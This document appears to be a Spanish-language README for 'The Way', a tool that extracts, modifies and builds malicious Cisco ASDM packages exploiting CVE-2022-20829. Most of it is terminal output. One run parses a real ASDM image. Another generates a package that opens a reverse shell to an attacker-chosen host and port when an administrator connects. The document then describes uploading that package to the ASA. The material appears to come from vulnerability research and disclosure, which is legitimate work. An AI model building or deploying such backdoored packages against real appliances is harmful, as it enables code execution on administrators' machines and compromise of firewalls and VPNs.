
Una herramienta para extraer, modificar y crear paquetes binarios ASDM (CVE-2022-20829)
The Way es una herramienta para desempaquetar, reempaquetar y crear paquetes maliciosos de Cisco Adaptive Security Device Manager (ASDM). ASDM es la interfaz gráfica administrativa basada en Java para sistemas Adaptive Security Appliance (ASA) (por ejemplo, firewalls y VPNs). El paquete ASDM está alojado en el ASA y sus subcomponentes se descargan cada vez que un administrador se conecta al ASA a través de ASDM. Un atacante que pueda plantar un paquete ASDM malicioso en el ASA puede lograr ejecución de código en los sistemas del administrador.
La vulnerabilidad es el resultado de varios problemas. Más específicamente, los paquetes ASDM maliciosos son posibles debido a la falta de firma de paquetes por parte de Cisco. Un atacante que pueda elaborar un paquete adecuado y calcular un hash de archivo puede cargar paquetes arbitrarios en el ASA. Esto ha sido asignado como CVE-2022-20829.
Una demostración de la explotación se puede encontrar en YouTube aquí: https://www.youtube.com/watch?v=ydjD7lIR9Bg
albinolobster@ubuntu:~/gh_theway/build$ ./theway -ef ~/Desktop/cisco/asdm-7171-152.bin
where were they going without ever knowing
. __.....__
.'| .-'' '. _ _ .-. .-
.| < | / .-''"'-. `. /\ \\ // \ \ / /
.' |_ | | / /________\ \ `\\ //\\ // __ \ \ / /
.' || | .'''-. | | \`// \'/.:--.'. \ \ / /
'--. .-'| |/.'''. \\ .-------------' \| |// | \ | \ \ / /
| | | / | | \ '-.____...---. ' `" __ | | \ ` /
| | | | | | `. .' .'.''| | \ /
| '.'| | | | `''-...... -' jbaines-r7 / / | |_ / /
| / | '. | '. CVE-2022-20829 \ \._,\ '/|`-' /
`'-' '---' '---' 🦞 `--' `" '..'
[+] Loading /home/albinolobster/Desktop/cisco/asdm-7171-152.bin
-> Magic: ASDM IMG7.17(1)152
-> Description: Device Manager Version 7.17(1)152
-> File length: 3116f94
-> File hash: 7a2c62b3f1781655cccbb6cf9914552c
-> Compilation date: Fri, 04 Feb 2022 10:43:43 GMT
-> Manifest Entries: 13
-> Entry: 0
58110500006c0d0014000000
-> Entry length: 14
-> Entry file: asdm50-install.msi
-> Data offset: 51158
-> Data size: d6c00
-> Entry: 1
f80200003201000014000000
-> Entry length: 14
-> Entry file: asdmversion.html
-> Data offset: 2f8
-> Data size: 132
-> Entry: 2
2c0400002b0d050010000000
-> Entry length: 10
-> Entry file: dm-launcher.dmg
-> Data offset: 42c
-> Data size: 50d2b
-> Entry: 3
58110500006c0d0010000000
-> Entry length: 10
-> Entry file: dm-launcher.msi
-> Data offset: 51158
-> Data size: d6c00
-> Entry: 4
587d1200d6eef80208000000
-> Entry length: 8
-> Entry file: pdm.sgz
-> Data offset: 127d58
-> Data size: 2f8eed6
-> Entry: 5
306c0b033201000010000000
-> Entry length: 10
-> Entry file: pdmversion.html
-> Data offset: 30b6c30
-> Data size: 132
-> Entry: 6
646d0b03e70b000014000000
-> Entry length: 14
-> Entry file: public/asa-pix.gif
-> Data offset: 30b6d64
-> Data size: be7
-> Entry: 7
4c790b038a05000014000000
-> Entry length: 14
-> Entry file: public/asdm.jnlp
-> Data offset: 30b794c
-> Data size: 58a
-> Entry: 8
d87e0b03a305000014000000
-> Entry length: 14
-> Entry file: public/asdm32.gif
-> Data offset: 30b7ed8
-> Data size: 5a3
-> Entry: 9
7c840b03b805000014000000
-> Entry length: 14
-> Entry file: public/cert.jnlp
-> Data offset: 30b847c
-> Data size: 5b8
-> Entry: a
348a0b035d06000014000000
-> Entry length: 14
-> Entry file: public/cisco.gif
-> Data offset: 30b8a34
-> Data size: 65d
-> Entry: b
94900b03b5bb000018000000
-> Entry length: 18
-> Entry file: public/deployJava.js
-> Data offset: 30b9094
-> Data size: bbb5
-> Entry: c
4c4c0c03aafa010018000000
-> Entry length: 18
-> Entry file: public/dm-launcher.jar
-> Data offset: 30c4c4c
-> Data size: 1faaa
-> Entry: d
f8460e03441d000014000000
-> Entry length: 14
-> Entry file: public/index.html
-> Data offset: 30e46f8
-> Data size: 1d44
-> Entry: e
3c640e03140f010014000000
-> Entry length: 14
-> Entry file: public/jploader.jar
-> Data offset: 30e643c
-> Data size: 10f14
-> Entry: f
50730f039630000010000000
-> Entry length: 10
-> Entry file: public/lzma.jar
-> Data offset: 30f7350
-> Data size: 3096
-> Entry: 10
e8a30f0389c5010020000000
-> Entry length: 20
-> Entry file: public/retroweaver-rt-2.0.jar
-> Data offset: 30fa3e8
-> Data size: 1c589
-> Entry: 11
74691103ad05000014000000
-> Entry length: 14
-> Entry file: public/startup.jnlp
-> Data offset: 3116974
-> Data size: 5ad
-> Entry: 12
246f11037000000010000000
-> Entry length: 10
-> Entry file: version.prop
-> Data offset: 3116f24
-> Data size: 70
albinolobster@ubuntu:~/gh_theway/build$ ls -l ./output/
total 51164
-rw-rw-r-- 1 albinolobster albinolobster 879616 Apr 28 11:06 asdm50-install.msi
-rw-rw-r-- 1 albinolobster albinolobster 306 Apr 28 11:06 asdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster 331051 Apr 28 11:06 dm-launcher.dmg
-rw-rw-r-- 1 albinolobster albinolobster 879616 Apr 28 11:06 dm-launcher.msi
-rw-rw-r-- 1 albinolobster albinolobster 49868502 Apr 28 11:06 pdm.sgz
-rw-rw-r-- 1 albinolobster albinolobster 306 Apr 28 11:06 pdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster 3047 Apr 28 11:06 public%asa-pix.gif
-rw-rw-r-- 1 albinolobster albinolobster 1443 Apr 28 11:06 public%asdm32.gif
-rw-rw-r-- 1 albinolobster albinolobster 1418 Apr 28 11:06 public%asdm.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 1464 Apr 28 11:06 public%cert.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 1629 Apr 28 11:06 public%cisco.gif
-rw-rw-r-- 1 albinolobster albinolobster 48053 Apr 28 11:06 public%deployJava.js
-rw-rw-r-- 1 albinolobster albinolobster 129706 Apr 28 11:06 public%dm-launcher.jar
-rw-rw-r-- 1 albinolobster albinolobster 7492 Apr 28 11:06 public%index.html
-rw-rw-r-- 1 albinolobster albinolobster 69396 Apr 28 11:06 public%jploader.jar
-rw-rw-r-- 1 albinolobster albinolobster 12438 Apr 28 11:06 public%lzma.jar
-rw-rw-r-- 1 albinolobster albinolobster 116105 Apr 28 11:06 public%retroweaver-rt-2.0.jar
-rw-rw-r-- 1 albinolobster albinolobster 1453 Apr 28 11:06 public%startup.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 112 Apr 28 11:06 version.prop
Lo siguiente genera un paquete ASDM malicioso que, al cargarse en un ASA, generará una shell inversa cuando un cliente ASDM se conecte al ASA.
albinolobster@ubuntu:~/theway/bu$ ./theway -g --lhost 10.9.49.248 --lport 1270
where were they going without ever knowing
. __.....__
.'| .-'' '. _ _ .-. .-
.| < | / .-''"'-. `. /\ \\ // \ \ / /
.' |_ | | / /________\ \ `\\ //\\ // __ \ \ / /
.' || | .'''-. | | \`// \'/.:--.'. \ \ / /
'--. .-'| |/.'''. \\ .-------------' \| |// | \ | \ \ / /
| | | / | | \ '-.____...---. ' `" __ | | \ ` /
| | | | | | `. .' .'.''| | \ /
| '.'| | | | `''-...... -' jbaines-r7 / / | |_ / /
| / | '. | '. CVE-2022-20829 \ \._,\ '/|`-' /
`'-' '---' '---' 🦞 `--' `" '..'
[+] Compiling Payload using `javac PDMApplet.java SgzApplet.java`
[+] Creating JAR entries
[+] Compressing jar entries with `lzma -z jars`
[+] Adding sgz wrapper
[+] Flushing the pdm.sgz to disk
-> Sizeof manifest entry c
-> Files to package
-> asdm50-install.msi
14
asdm50-install.msi
-> asdmversion.html
14
asdmversion.html
-> dm-launcher.dmg
10
dm-launcher.dmg
-> dm-launcher.msi
10
dm-launcher.msi
-> pdm.sgz
8
pdm.sgz
-> pdmversion.html
10
pdmversion.html
-> public/asa-pix.gif
14
public/asa-pix.gif
-> public/asdm.jnlp
14
public/asdm.jnlp
-> public/asdm32.gif
14
public/asdm32.gif
-> public/cert.jnlp
14
public/cert.jnlp
-> public/cisco.gif
14
public/cisco.gif
-> public/deployJava.js
18
public/deployJava.js
-> public/dm-launcher.jar
18
public/dm-launcher.jar
-> public/index.html
14
public/index.html
-> public/jploader.jar
14
public/jploader.jar
-> public/lzma.jar
10
public/lzma.jar
-> public/retroweaver-rt-2.0.jar
20
public/retroweaver-rt-2.0.jar
-> public/startup.jnlp
14
public/startup.jnlp
-> version.prop
10
version.prop
-> Entries size: 254
->Offset (asdm50-install.msi) (2f8 -> 2fc)
->Offset (asdmversion.html) (2f8 -> 2fc)
->Offset (dm-launcher.dmg) (2fc -> 300)
->Offset (dm-launcher.msi) (300 -> 304)
->Offset (pdm.sgz) (304 -> 7ed)
->Offset (pdmversion.html) (7f0 -> 7f4)
->Offset (public/asa-pix.gif) (7f4 -> 7f8)
->Offset (public/asdm.jnlp) (7f8 -> 7fc)
->Offset (public/asdm32.gif) (7fc -> 800)
->Offset (public/cert.jnlp) (800 -> 804)
->Offset (public/cisco.gif) (804 -> 808)
->Offset (public/deployJava.js) (808 -> 80c)
->Offset (public/dm-launcher.jar) (80c -> 810)
->Offset (public/index.html) (810 -> 814)
->Offset (public/jploader.jar) (814 -> 818)
->Offset (public/lzma.jar) (818 -> 81c)
->Offset (public/retroweaver-rt-2.0.jar) (81c -> 820)
->Offset (public/startup.jnlp) (820 -> 824)
->Offset (version.prop) (824 -> 891)
c1b7190c7426b2b72a6862c09cc19152
The Way generará "test.final.bin", que luego se puede cargar en el ASA.